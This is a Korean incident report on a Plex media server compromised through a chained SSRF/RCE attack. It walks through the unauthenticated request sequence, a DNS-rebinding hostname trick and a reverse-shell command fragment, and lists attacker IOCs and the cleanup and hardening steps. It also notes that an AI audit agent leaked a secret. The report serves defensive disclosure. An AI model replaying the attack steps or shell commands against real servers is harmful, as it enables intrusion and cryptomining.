집 서버의 Plex가 뚫렸다 — 6일간의 채굴기와 백도어, 그리고 나머지 네 대 점검
집 서버에서 돌던 Plex 미디어 서버가 Plex2Shell(인증 없는 원격 코드 실행 체인)로 뚫려, 6일 동안 코인 채굴기와 원격 명령 백도어가 돌았습니다. 침입 경로와 정리 순서, 같은 날 나머지 서버 네 대를 같은 기준으로 점검해 찾은 구멍들을 적었습니다.

무슨 일이 있었나
Sandcorp는 공개 서비스를 클라우드의 운영 서버에서 돌리고, 빌드·CI·개인 서비스는 집에 둔 서버 한 대(아래 「집 서버」)에서 돌립니다. 집 서버에는 개인용 Plex 미디어 서버도 컨테이너로 떠 있었습니다. 밖에서 영상을 보려고 공유기에서 Plex 포트를 포트포워딩해 두었습니다.
2026-11-03 오후, 미디어 저장소에 만든 적 없는 git, gitea 폴더가 생겨 있었습니다. 우리 기계에는 Gitea가 없습니다. 정체를 따라가 보니 Plex가 6일 전에 뚫려 있었고, 그동안 코인 채굴기와 원격 명령 백도어가 돌고 있었습니다.
이 글은 그날 한 일을 적은 기록입니다.
- 어떻게 들어왔나. 인증 없는 요청 세 번으로 관리자 토큰을 빼내고, 트랜스코더로 코드를 실행했습니다. 22초 걸렸습니다.
- 무엇이 깔렸나. 채굴기, 가짜 모니터링 에이전트로 위장한 백도어, Mirai 계열 봇 드로퍼, 리버스 셸입니다.
- 어떻게 치웠나. 증거를 먼저 보존하고, 컨테이너를 지우고, 공격자 주소를 막았습니다.
- 나머지 네 대. 같은 날 운영 서버·작업 서버·빌드용 Mac·데스크톱을 같은 기준으로 점검했습니다. 침해 흔적은 없었습니다. 대신 지금 이 순간 공격받고 있는 구멍이 나왔습니다.
같은 Plex 판을 인터넷에 열어 둔 분이 있을 수 있어서, 공격자의 주소와 파일 이름(IOC)은 그대로 적었습니다.
침입에서 정리까지
침입에서 점검까지
- 침입10-27, 22초
인증 없는 요청 세 번으로 관리자 토큰 탈취 → 트랜스코더로 코드 실행
- 상주6일 7시간
채굴기·백도어·봇 드로퍼·리버스 셸
- 발견11-03, 우연
미디어 저장소에 생긴 git, gitea 폴더를 추적
- 정리지우기 전에 남긴다
증거 보존 → 컨테이너 삭제 → 공격자 주소 차단 → 포트포워딩 제거
- 나머지 네 대같은 날
같은 기준으로 동시에 점검. 침해 없음, 열린 구멍 발견
- 좁히기0.0.0.0 30여 개 → 2개
포트마다 「누가 붙는가」로 바인드 주소를 다시 정함
타임라인
| 시각(KST) | 일 |
|---|---|
| 10-27 21:10:48 | 첫 요청. 인증 없이 플레이어 등록 |
| 10-27 21:11:10 | 관리자 토큰으로 트랜스코드 세션 시작 → 코드 실행(22초) |
| 10-27 ~ 11-03 | 채굴기 6일 7시간 가동, 백도어·봇 드로퍼·리버스 셸 상주 |
| 11-03 오후 | 미디어 저장소의 git, gitea 폴더를 추적하다 발견 |
| 11-03 같은 날 | 증거 보존 → 컨테이너 삭제 → 공격자 주소 차단 → 나머지 네 대 점검·포트 정리 |
어떻게 들어왔나 — SSRF로 토큰을 빼고 트랜스코더로 실행
공격은 Plex의 CompanionProxy 기능과 메타데이터 에이전트를 엮은 SSRF였습니다. 로그에 남은 플레이어 이름이 공개 PoC의 이름(poc_3046) 그대로였습니다.
GET /player/proxy/poll— 인증 없이 guest로 플레이어를 등록합니다.GET /player/timeline/subscribe—protocol=값에 Plex 자기 자신(127.0.0.1:32400) 의 내부 API 주소를 넣습니다. 그 주소는 thetvdb 에이전트의GetResultFromNetwork를 부르고, 받아 올 URL로 공격자 서버를 가리킵니다.- 호스트 이름은
127.0.0.1.<공격자IP>.sslip.io꼴입니다. 이름은 loopback처럼 보이지만 실제로는 공격자 주소로 풀립니다(DNS 리바인딩). - 끝의
#이 Plex가 뒤에 붙이는 경로를 잘라 냅니다.
- 호스트 이름은
GET /player/timeline/unsubscribe— Plex가 위 주소로 자기 자신에게 POST를 보냅니다. 내부 API는 loopback에서 온 요청을 믿고, 에이전트는 공격자 서버로 요청을 보내면서 서버의 관리자 X-Plex-Token을 실어 보냅니다.- 그다음 요청부터 로그의 인증이 「Signed-in Token(관리자)」으로 바뀝니다.
/video/:/transcode/universal/start— 공격자 서버의item.xml을 원본으로 트랜스코드 세션을 열어 코드를 실행합니다.
영향을 받은 판은 linuxserver/plex 이미지의 1.43.0.10492 계열(2026-03 빌드)이었습니다.
토큰은 서버 설정 파일에 있던 것이 서버 스스로의 요청에 실려 나갔습니다. 사용자의 PC나 브라우저는 경로에 없었습니다. 데스크톱 점검에서도 흔적이 없었습니다.
이 공격의 이름: Plex2Shell
정리하고 나서 찾아보니, 이 경로에는 이미 이름이 있었습니다. Plex2Shell입니다. Plex Media Server의 취약점 네 개를 이어 붙여 인증 없이 원격 코드를 실행하는 체인이고, 전체 CVSS는 9.8입니다.
| CVE | 내용 | 우리 로그의 단계 |
|---|---|---|
| CVE-2026-96652 | /player/timeline의 protocol= 값으로 인증 없이 일으키는 SSRF |
2·3 (subscribe → unsubscribe) |
| CVE-2026-96654 | loopback에서 온 요청을 믿는 내부 API + searchOne의 identifier= 주입 → 관리자 토큰 탈취 |
3·4 (thetvdb 에이전트가 토큰을 실어 보냄) |
| CVE-2026-96655 | 관리자 토큰으로 쓰는 트랜스코더 SSRF와 임의 경로 파일 쓰기 | 5 (트랜스코드 세션) |
| CVE-2026-96656 | Codecs 폴더의 서명 없는 코덱을 dlopen으로 불러 코드 실행 |
5 이후 |
일정
- 07-27 — 연구자가 Plex에 보고
- 09-01 — Plex가 수정판을 이미 냈다고 알리고 업데이트를 권고
- 10-16 — 연구자가 분석 글과 PoC 코드를 공개
- 10-17 — 다른 연구자의 허니팟에서 첫 실제 공격 관측(채굴기 XMRig, 프록시 myawesomeproxy)
- 10-27 — 우리 서버 침입. PoC 공개 11일 뒤였습니다.
영향 판과 고친 판: 1.43.3.10828 이하가 영향을 받고, 1.43.3.10861에서 고쳐졌습니다. 우리 컨테이너는 1.43.0.10492, 즉 패치가 나오기 반년 전 이미지였습니다. 수정판은 두 달 전에 나와 있었는데, 우리는 업데이트하지 않았습니다.
같은 판을 쓰고 있다면
- 바로
1.43.3.10861이상으로 올립니다. 컨테이너라면 이미지 태그를 확인합니다. - 원격 접속이 필요 없으면 32400 포트포워딩을 지웁니다.
- 오래된 판을 인터넷에 열어 두었다면 침해된 것으로 보고 점검합니다. Plex 프로세스의 낯선 자식 프로세스, Codecs 폴더의 낯선
.so·.dll, 재생하지 않는데도 높은 CPU 사용률이 흔적입니다. 그리고 Plex 비밀번호를 바꾸고 모든 기기에서 로그아웃합니다.
참고: 연구자 저장소(code-zm/plex2shell) · SonicWall 분석 · SecurityWeek 보도
무엇이 깔렸나
채굴기
~/.cache/ksoftirqd라는 이름으로 12스레드를 돌렸습니다. 이름은 커널 스레드처럼 보이게 지었고, 가짜 [kthreadd] 프로세스가 함께 떠 있었습니다. ps를 대충 보면 커널이 일하는 것처럼 보입니다.
원격 명령 백도어
/var/tmp/.p2s-agent/bin/zabbix_agentd — Zabbix 모니터링 에이전트로 위장했습니다. 설정은 AllowKey=system.run[*], 즉 아무 명령이나 원격으로 실행하게 열려 있었고 0.0.0.0:10050에서 기다렸습니다. Plex 컨테이너가 host 네트워크였기 때문에 이 포트는 컨테이너가 아니라 호스트에 그대로 열렸습니다. 설치 스크립트에는 중국어 주석이 달려 있었습니다.
Mirai 계열 봇 드로퍼
CPU 아키텍처를 골라 봇 바이너리를 받고, 실행할 수 있는 곳을 /dev/shm → /data/git → /data/gitea/home → … 순서로 찾아 떨굽니다. 스크립트 주석에 「Gitea k8s는 /tmp를 noexec로 마운트한다」고 적혀 있었습니다. Gitea를 노린 캠페인 스크립트를 Plex에 그대로 다시 쓴 것입니다.
그런데 Plex 컨테이너의 /data는 우리 미디어 저장소였습니다. 그래서 미디어 폴더에 git, gitea 폴더가 생겼고, 그게 발견의 단서가 됐습니다. 공격자가 남의 스크립트를 재활용하지 않았다면 더 늦게 알았을 겁니다.
리버스 셸
bash -c exec 0<>/dev/tcp/... 꼴의 프로세스가 여럿 떠 있었습니다. 상대 쪽이 연결을 거부하고 있어서 실제로 이어지지는 않았습니다.
IOC (공개)
| 종류 | 값 |
|---|---|
| RCE 요청 발신 | 81.180.92.185 |
| 봇·채굴기 배포 | 80.87.206.86 (:80, :18081) |
| 리버스 셸 C2 | 45.32.252.90 (:9001, :8933) |
| 백도어 C2 | 207.148.73.95 (:10051) |
| 봇 ELF md5 | 0bf0b2ddefeb529cad793a9183424dfb |
| Plex 로그 흔적 | 플레이어 `poc_3046`, 세션 `BOE776690` |
| 파일 이름 | `.i` `.b<pid>` `.boat.lock` `.mstat` `ksoftirqd*` `.kworker34*` `.p2s-agent` `.p2sr` |
- 같은 공격을 받는 분이 찾아볼 수 있게 공격자 쪽 값만 적었습니다. 우리 쪽 주소는 적지 않았습니다.
피해 범위
다행이었던 것
- 컨테이너는 비특권이었고
docker.sock을 마운트하지 않았습니다. 호스트로 탈출한 흔적은 없었습니다. - cron, systemd,
authorized_keys는 바뀌지 않았습니다. - 같은 서버의 다른 컨테이너 로그에서 IOC는 0건이었습니다.
나빴던 것
- host 네트워크였습니다. 컨테이너 안의 공격자는 호스트의 localhost·0.0.0.0에 열린 모든 서비스(DB, 캐시, 오브젝트 스토리지, CI)에 닿을 수 있었습니다. 실제로 접근했다는 증거는 없지만, 그 서비스들의 자격 증명은 새어 나간 것으로 가정하고 교체 대상으로 잡았습니다.
- 컨테이너 사용자의 uid가 호스트 사용자와 같아서, 마운트된 미디어 폴더에 쓸 수 있었습니다.
- 관리자 Plex 토큰이 유출됐습니다. 비밀번호를 바꾸고 모든 기기를 로그아웃시켜 무효로 만들었습니다.
정리한 순서
- 증거 보존. 위 순서대로 남겼습니다.
- 컨테이너 삭제. 멈추고 재시작 정책을 끈 뒤 지웠습니다. 쓰기 레이어에 있던 악성 파일도 함께 사라졌습니다. 미디어 저장소에 생긴 악성 폴더는 따로 지웠습니다.
- 공격자 주소 차단. C2 주소 네 개를
INPUT·OUTPUT·DOCKER-USER체인에서 양방향으로 막았습니다. 재부팅해도 남도록 systemd oneshot 서비스로 만들었습니다.iptables-persistent는 Docker가 만든 체인까지 저장해 버려 Docker와 꼬이기 때문에 쓰지 않았습니다. - 입구 닫기. 공유기에서 Plex 포트포워딩을 지웠습니다.
나머지 네 대를 같은 기준으로
사고 난 한 대만 보고 끝내면, 같은 실수를 한 다른 기계를 놓칩니다. 그래서 같은 날 나머지 네 대(운영 서버, 작업 서버, 빌드용 Mac, 데스크톱)를 같은 기준으로 점검했습니다.
점검은 AI 에이전트 네 개에 한 대씩 맡겨 동시에 돌렸습니다. 지시서에는 읽기 전용과 비밀값 출력 금지를 박았습니다. 기준은 모두 같았습니다.
- IOC 주소로 나가거나 들어온 연결
- 커널 스레드로 위장한 프로세스, 지워진 실행 파일을 물고 도는 프로세스
- IOC 파일 이름과 해시
- cron, systemd, LaunchAgents, 예약 작업
authorized_keys변경- 로그 속 IOC 문자열
- Docker의 위험한 설정(host 네트워크, privileged,
docker.sock마운트)
결과: 네 대 모두 침해 흔적은 없었습니다. 대신 「다음 집 서버」가 될 만한 구멍이 여럿 나왔습니다.
점검에서 나온 구멍
| 찾은 것 | 상황 | 조치 |
|---|---|---|
| 데스크톱 원격 데스크톱(RDP)이 인터넷에 열려 있었다 | 점검하는 동안에도 여러 외부 주소가 무차별 대입 중(10분에 100여 건, 성공 0건) | 방화벽에서 사설망(VPN) 대역만 허용 → 공격 0건으로 떨어짐 |
| 작업 서버·데스크톱의 SSH가 인터넷에 열려 있었다 | 한 달 동안 대입 시도 약 8.8만 건. 공개키 전용이라 막혔지만 노출 자체가 위험 | 공유기 포트포워딩 제거, 사설망으로만 접속 |
| 집 서버의 Docker 포트 약 30개가 0.0.0.0에 | 대부분 리버스 프록시 하나만 붙으면 되는 서비스 | 「누가 붙는가」로 다시 묶음 → 0.0.0.0은 30여 개에서 2개로 |
| 개발용 캐시가 비밀번호 없이 모든 주소에 | 같은 망의 아무 기기나 붙을 수 있었다 | 바인드 주소를 좁히는 대상에 포함 |
| 기계 사이의 신뢰 관계 | 빌드 기계가 집 서버의 CI에 붙어 있고, 에이전트 설정 폴더를 여러 기계가 동기화한다 | 한 대가 뚫리면 어디까지 번지는지 정리해 하나씩 끊는 중 |
- 네 대 모두 침해 흔적은 없었습니다. 위는 「다음 사고」가 될 수 있던 노출입니다.
부딪힌 문제와 해결
0.0.0.0은 아무도 고르지 않은 값이었다
compose 파일에 ports: "8080:8080"이라고 쓰면 0.0.0.0, 즉 모든 네트워크 주소에 열립니다. 기본값이라서 아무도 고른 적이 없었습니다. 포트마다 「누가 여기에 붙는가」를 적어 보니 대부분 리버스 프록시 하나뿐이었습니다. 그래서 그 답에 맞춰 바인드 주소를 정했습니다.
| 누가 붙나 | 바인드 주소 |
|---|---|
| 리버스 프록시만 (프록시 뒤 웹 서비스) | docker0 브리지 게이트웨이(기본 172.17.0.1)에만. host 네트워크로 뜬 프록시가 이 주소로 붙습니다 |
| 다른 기계가 직접 (CI, DB) | 위 + 사설망(VPN) 주소 |
| 집 안 기기 (미디어 재생, 파일 공유) | 집 LAN + 사설망 주소 |
| 인터넷 (밖에서 직접 받아야 하는 것) | 0.0.0.0 — 둘만 남음 |
→ 0.0.0.0에 열린 Docker 포트가 30여 개에서 2개로 줄었습니다.
사설망 주소에 바인드했더니 부팅 때 실패했다
사설망(Tailscale) 주소에 바인드한 컨테이너는, 부팅 때 Docker가 tailscale0 인터페이스보다 먼저 뜨면 「주소를 할당할 수 없다」며 뜨지 않습니다.
→ docker.service에 drop-in을 넣어, tailscale0에 주소가 붙을 때까지 최대 60초 기다린 뒤 Docker가 뜨게 했습니다.
CI가 배포하는 compose는 서버가 아니라 저장소에서 고친다
CI가 배포하는 서비스 두 개는 서버의 compose 파일을 고치면 다음 배포가 되돌립니다. 그래서 저장소에서 고쳤습니다. 그런데 배포가 실패했습니다.
- 증상:
address already in use로 새 컨테이너가 뜨지 않았고, 자동 롤백도 같은 이유로 실패했습니다. - 원인: 베이스 compose와 운영용 compose를 겹쳐 쓰고 있었는데, 두 파일의
ports는 덮어써지지 않고 합쳐집니다. 베이스의0.0.0.0:8080과 운영용의172.17.0.1:8080이 둘 다 생겨, 같은 포트를 두 번 잡으려다 실패했습니다. - 해결: 운영용 compose에
ports: !override를 써서 베이스의 목록을 통째로 바꾸게 했습니다.
리버스 프록시 이미지를 latest에서 고정으로
리버스 프록시와 WAF 이미지가 latest 태그였습니다. 지금 돌고 있는 판과 digest로 고정했습니다. 같은 이미지라 재시작은 필요 없었습니다. 이번 사고와 직접 관계는 없지만, 「다음에 pull하면 무엇이 올지 모르는」 입구를 그대로 두지 않았습니다.
배운 것
- 수정판은 두 달 전에 나와 있었습니다. Plex2Shell은 9월 1일에 고쳐졌고, PoC가 공개된 다음 날부터 실제 공격이 시작됐습니다. 우리 컨테이너는 반년 전 이미지 그대로였습니다. 인터넷에 여는 서비스는 「언젠가 업데이트」가 아니라 이미지 갱신을 정해 둔 주기로 돌려야 합니다.
- host 네트워크는 「이 컨테이너가 뚫리면 호스트의 모든 포트가 공격자 것」이라는 뜻입니다. 미디어 서버에 host 네트워크가 필요한 이유는 없었습니다. 편해서 그렇게 띄웠을 뿐입니다.
- 0.0.0.0은 기본값이라 아무도 고르지 않았습니다. 포트마다 「누가 붙는가」를 적으면 대부분 프록시 하나뿐입니다.
- loopback을 믿는 내부 API와, 밖으로 요청을 보내는 플러그인이 한 프로세스에 있으면 SSRF 한 번으로 둘이 이어집니다. 이번 침입의 핵심이 이 조합이었습니다.
- 발견은 우연이었습니다. 채굴기가 6일 동안 CPU를 썼는데 모니터링이 잡지 못했습니다. 대시보드는 있었지만 알림 기준이 없었습니다.
- 사고 난 한 대보다, 나머지 네 대를 같은 날 같은 기준으로 본 것이 더 큰 수확이었습니다. 침해는 없었지만, 인터넷에 열린 RDP처럼 지금 공격받고 있는 구멍이 나왔습니다.
- AI 에이전트를 여러 기계에서 돌리면 생기는 위험이 있습니다. 여러 기계가 에이전트의 훅·설정 폴더를 동기화하면, 한 대의 침해가 모든 기계의 에이전트 코드 실행으로 번질 수 있습니다. 동기화 방향(받기만 할지, 보내기만 할지)도 보안 설정입니다. 이번에는 그 폴더가 깨끗했습니다.
- 에이전트에게 「비밀값을 출력하지 마라」고 지시해도 완전하지 않습니다. 점검 중 한 에이전트가 조사하다 비밀값 하나를 자기 출력에 찍었습니다. 그 값은 교체 대상에 넣었습니다.
남은 일
- 침해된 서버에서 닿을 수 있었던 서비스들의 자격 증명을 차례로 교체하고 있습니다.
- CI 컨트롤러의 권한과 기계 사이의 신뢰 관계를 다시 정리하고 있습니다.
- 기본 거부(default deny) 방화벽으로 옮기는 중입니다. 지금은 「열 필요가 없는 것을 닫는」 방식이라, 새 서비스가 0.0.0.0으로 뜨면 다시 열립니다.
- CPU 사용량과 처음 보는 프로세스에 알림을 거는 일이 남았습니다. 이번처럼 우연에 기대지 않으려고 합니다.

